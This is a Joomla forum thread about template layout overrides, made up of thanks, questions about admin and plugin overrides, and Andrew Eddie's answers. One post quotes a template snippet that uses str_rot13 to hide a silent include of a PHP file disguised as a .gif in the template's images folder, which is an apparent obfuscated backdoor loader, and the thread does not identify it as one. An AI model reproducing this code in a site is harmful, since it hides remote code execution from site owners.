The Joomla! Forum ™



Forum rules


Please use the mailing list here: http://groups.google.com/group/joomla-dev-general rather than this forum.



Post new topic Reply to topic  [ 60 posts ]  Go to page 1, 2  Next
Author Message
PostPosted: Mon Jul 07, 2008 1:53 am 
User avatar
Joomla! Ace
Joomla! Ace

Joined: Fri Aug 12, 2005 2:45 am
Posts: 1961
Location: Toowoomba, Australia
I've done an extensive tutorial on layout overrides (and a few other things) on the developer site:
http://developer.joomla.org/tutorials/3 ... oomla.html

Hope people find it useful and if there is anything missing or anything is unclear let me know.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.


Top
 Profile  
 
PostPosted: Fri Sep 12, 2008 3:40 am 
User avatar
Joomla! Intern
Joomla! Intern

Joined: Wed Jun 28, 2006 9:43 pm
Posts: 56
Location: NY
Great article, thanks!

- Does the override apply to Admin templates as well?
- Can any file be overridden and not just View files? e.g. Helper or Controller files?

TIA

_________________
Joomla 1.5.14, MySQL 5.0.45, PHP 5.2.6


Top
 Profile  
 
PostPosted: Fri Sep 12, 2008 5:04 am 
User avatar
Joomla! Ace
Joomla! Ace

Joined: Fri Aug 12, 2005 2:45 am
Posts: 1961
Location: Toowoomba, Australia
You can override the layouts of the admin components only if they'd been MVC'd. Many are still in the old format.

Helpers and controllers cannot be overridden, no.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.


Top
 Profile  
 
PostPosted: Sun Sep 14, 2008 1:14 am 
User avatar
Joomla! Apprentice
Joomla! Apprentice

Joined: Sun Sep 14, 2008 12:14 am
Posts: 33
What are differents between template override machine of zencart and joomla?

_________________
Y!M: haooffotech
Site: http://www.khoiviet.vn


Top
 Profile  
 
PostPosted: Sun Sep 14, 2008 5:34 am 
User avatar
Joomla! Ace
Joomla! Ace

Joined: Fri Aug 12, 2005 2:45 am
Posts: 1961
Location: Toowoomba, Australia
haooffotech wrote:
What are differents between template override machine of zencart and joomla?
No idea. You'd have to ask ZenCart.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.


Top
 Profile  
 
PostPosted: Wed Sep 17, 2008 3:00 pm 
User avatar
Joomla! Apprentice
Joomla! Apprentice

Joined: Tue Aug 26, 2008 10:52 am
Posts: 17
I want to override the output for the com_content in the admin section.

Is this possible?

I've looked at the folder structure and it has a model and view folder, but not a controller folder. So is this in MVC format?

Thanks

_________________
I've got an idea, an idea so smart that my head would explode if I even began to know what I'm talking about.


Top
 Profile  
 
PostPosted: Thu Sep 18, 2008 6:14 am 
User avatar
Joomla! Ace
Joomla! Ace

Joined: Fri Aug 12, 2005 2:45 am
Posts: 1961
Location: Toowoomba, Australia
It's not really practical to override backend com_content in 1.5 unfortunately.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.


Top
 Profile  
 
PostPosted: Sat Oct 11, 2008 11:33 pm 
Joomla! Apprentice
Joomla! Apprentice

Joined: Sat Oct 11, 2008 10:32 pm
Posts: 18
great .... thx for this


Top
 Profile  
 
PostPosted: Tue Oct 14, 2008 4:49 pm 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast

Joined: Thu Nov 08, 2007 6:00 pm
Posts: 123
Location: Aarhus (Denmark)
This article is very useful, I recommend it to all future joomla developers. ;)

_________________
From the code to the reality!


Top
 Profile  
 
PostPosted: Mon Oct 27, 2008 11:38 am 
User avatar
Joomla! Intern
Joomla! Intern

Joined: Sun Sep 21, 2008 3:13 pm
Posts: 59
just have a look, really great

_________________
http://www.skyren.org Skyren Web Design
http://www.joelizzerd.com


Top
 Profile  
 
PostPosted: Wed Nov 26, 2008 3:24 pm 
Joomla! Apprentice
Joomla! Apprentice

Joined: Sun Nov 23, 2008 8:28 pm
Posts: 48
is it possible too create a complete outsourced landing page out of a component.
I want to use some functions of joomla like registering users and administration of this landing pages e.g. adding location ids. Is a component a good approach for that? I mean the template should be completey different to joomlas. Can this be done with override directory structure?


Top
 Profile  
 
PostPosted: Wed Dec 31, 2008 10:27 am 
Joomla! Fledgling
Joomla! Fledgling

Joined: Wed Dec 31, 2008 10:18 am
Posts: 1
Good article!!


Top
 Profile  
 
PostPosted: Thu Jan 08, 2009 3:59 am 
Joomla! Apprentice
Joomla! Apprentice

Joined: Mon Jan 05, 2009 2:13 pm
Posts: 9
So, it is possible to make a frontend component layout showed just like the backend one. Like this,

http://img56.imageshack.us/my.php?image=94786576ng0.png

What about the toolbar and the table style?


Top
 Profile  
 
PostPosted: Thu Jan 08, 2009 5:05 am 
User avatar
Joomla! Ace
Joomla! Ace

Joined: Fri Aug 12, 2005 2:45 am
Posts: 1961
Location: Toowoomba, Australia
@fahmi_priadi

I don't know what you mean.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.


Top
 Profile  
 
PostPosted: Thu Jan 08, 2009 6:48 am 
Joomla! Apprentice
Joomla! Apprentice

Joined: Mon Jan 05, 2009 2:13 pm
Posts: 9
I'm sorry, my english is not good.

I want to create a frontend component which capable to show a list of data, and input data to the list, just like the Article Manager. I've read Learning Joomla! 1.5 Extension Development book, but the book only tell me how to make the Restaurant Review Manager at the backend.

Can you give me a suggestion, which book or article that i should read to solve my problem?

Thank You


Top
 Profile  
 
PostPosted: Thu Jan 08, 2009 11:17 am 
User avatar
Joomla! Ace
Joomla! Ace

Joined: Fri Aug 12, 2005 2:45 am
Posts: 1961
Location: Toowoomba, Australia
Ok, now I understand. You can apply the same principles for a backend component in the frontend. You don't have a toolbar on the frontend but have a look how com_content frontend handles article submission - that will give you some clues.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.


Top
 Profile  
 
PostPosted: Thu Jan 08, 2009 12:24 pm 
Joomla! Apprentice
Joomla! Apprentice

Joined: Mon Jan 05, 2009 2:13 pm
Posts: 9
Ok, thank you very much.


Top
 Profile  
 
PostPosted: Thu Jan 08, 2009 5:38 pm 
Joomla! Apprentice
Joomla! Apprentice

Joined: Mon Jan 05, 2009 2:13 pm
Posts: 9
Um, i'm sorry, i've already checked the com_content. But it seems that you've misunderstood the toolbar that i mean. Here is the picture of the toolbar and table list that i mean,

Image

It is not an actual joomla! webpage, I made the picture using paint.
Sorry to bother you, but i really appreciate your help.


Top
 Profile  
 
PostPosted: Fri Jan 09, 2009 1:19 am 
User avatar
Joomla! Ace
Joomla! Ace

Joined: Fri Aug 12, 2005 2:45 am
Posts: 1961
Location: Toowoomba, Australia
Ok, that is technically possible using layout overrides, but it would take a fair bit of work to do (too much to explain here). Probably something you are going to have a lot of trial and error with.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.


Top
 Profile  
 
PostPosted: Fri Jan 09, 2009 3:00 am 
Joomla! Apprentice
Joomla! Apprentice

Joined: Mon Jan 05, 2009 2:13 pm
Posts: 9
Ok, thank you


Top
 Profile  
 
PostPosted: Sun Feb 01, 2009 12:41 am 
Joomla! Apprentice
Joomla! Apprentice

Joined: Sat Jan 31, 2009 11:06 pm
Posts: 6
gee thanks that the great post :eek:

_________________
Please read forum rules regarding signatures: viewtopic.php?f=8&t=65


Top
 Profile  
 
PostPosted: Sun Mar 01, 2009 8:13 pm 
Joomla! Apprentice
Joomla! Apprentice

Joined: Tue Oct 23, 2007 4:20 pm
Posts: 16
A very good tutorial.... but there isnt a plugin override in general, right?
for example pagebreak.php....

If any developer can confirm this I 've made a post in http://forum.joomla.org/viewtopic.php?p=1605175#p1605175

I 've uploaded a hacked update for the JPluginHelper class but the official joomla developers must check the file and make fixes...


Top
 Profile  
 
PostPosted: Sun Mar 01, 2009 8:54 pm 
User avatar
Joomla! Ace
Joomla! Ace

Joined: Fri Aug 12, 2005 2:45 am
Posts: 1961
Location: Toowoomba, Australia
psifidotos wrote:
A very good tutorial.... but there isnt a plugin override in general, right?
for example pagebreak.php....
No, there's no plugin override because they don't work that way. If you want to do that copy the plugin to make a new one and turn the old one off. Simple :)

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.


Top
 Profile  
 
PostPosted: Sun Mar 01, 2009 10:33 pm 
Joomla! Apprentice
Joomla! Apprentice

Joined: Tue Oct 23, 2007 4:20 pm
Posts: 16
masterchief wrote:
psifidotos wrote:
A very good tutorial.... but there isnt a plugin override in general, right?
for example pagebreak.php....
No, there's no plugin override because they don't work that way. If you want to do that copy the plugin to make a new one and turn the old one off. Simple :)


Strange, the view of plugins should be separated some how from their functionality, like the MVC in components... but with little code added in JPluginHelper I added plugin override capability per template (my previous post)...

thank you for your immediate reply masterchief.....


Top
 Profile  
 
PostPosted: Sun Mar 01, 2009 11:00 pm 
User avatar
Joomla! Ace
Joomla! Ace

Joined: Fri Aug 12, 2005 2:45 am
Posts: 1961
Location: Toowoomba, Australia
Plugins don't have views and they serve a wide variety of purposes. That said, you could theoretically write a content plugin to support templates of a sort. The pagebreak one though, I'd actually turn that one into JHtml helpers myself rather than using a plugin.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.


Top
 Profile  
 
PostPosted: Sun Mar 01, 2009 11:21 pm 
Joomla! Apprentice
Joomla! Apprentice

Joined: Tue Oct 23, 2007 4:20 pm
Posts: 16
masterchief wrote:
Plugins don't have views and they serve a wide variety of purposes. That said, you could theoretically write a content plugin to support templates of a sort. The pagebreak one though, I'd actually turn that one into JHtml helpers myself rather than using a plugin.


Oh, ok masterchief now I got it, thank you very much for this, there is a lot of confusion around plugins. I 'll use of course your first solution "create a new version for the plugin"....

thank u once more for your immediate response...


Top
 Profile  
 
PostPosted: Sun Mar 08, 2009 9:31 am 
Joomla! Fledgling
Joomla! Fledgling

Joined: Sat Mar 07, 2009 1:00 pm
Posts: 4
thanks for the nice tutorial.

_________________
Please read forum rules regarding signatures: viewtopic.php?f=8&t=65


Top
 Profile  
 
PostPosted: Thu Mar 26, 2009 12:25 pm 
Joomla! Fledgling
Joomla! Fledgling

Joined: Thu Mar 26, 2009 12:16 pm
Posts: 1
Great article, thanks!
keep it up.
Regards,

_________________
Roker
http://www.freenfullebooks.com/


Top
 Profile  
 
PostPosted: Thu Mar 26, 2009 1:07 pm 
User avatar
Joomla! Master
Joomla! Master

Joined: Sat Apr 05, 2008 9:58 pm
Posts: 23363
Location: @Webdongle
is
Quote:
<div id="leftcolumn">
<!-- <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?> -->
<jdoc:include type="modules" name="left" style="rounded" />
</div>


a 'layout override'? If so how does it work ?

_________________
http://weblinksonline.co.uk/joomla-faq.html


Top
 Profile  
 
PostPosted: Sat Mar 28, 2009 1:29 pm 
User avatar
Joomla! Explorer
Joomla! Explorer

Joined: Sun Mar 18, 2007 12:50 pm
Posts: 332
Location: Netherlands
masterchief wrote:
Plugins don't have views and they serve a wide variety of purposes. That said, you could theoretically write a content plugin to support templates of a sort. The pagebreak one though, I'd actually turn that one into JHtml helpers myself rather than using a plugin.

I second and third that! Just like pagination, it's one of those elements that designers'll want to control!

Hopefully the developers pick up on this and add it in future versions!

_________________
Cheers, Babs
-------------------
http://crossinghippos.com


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 60 posts ]  Go to page 1, 2  Next



Who is online

Users browsing this forum: No registered users and 10 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB® Forum Software © phpBB Group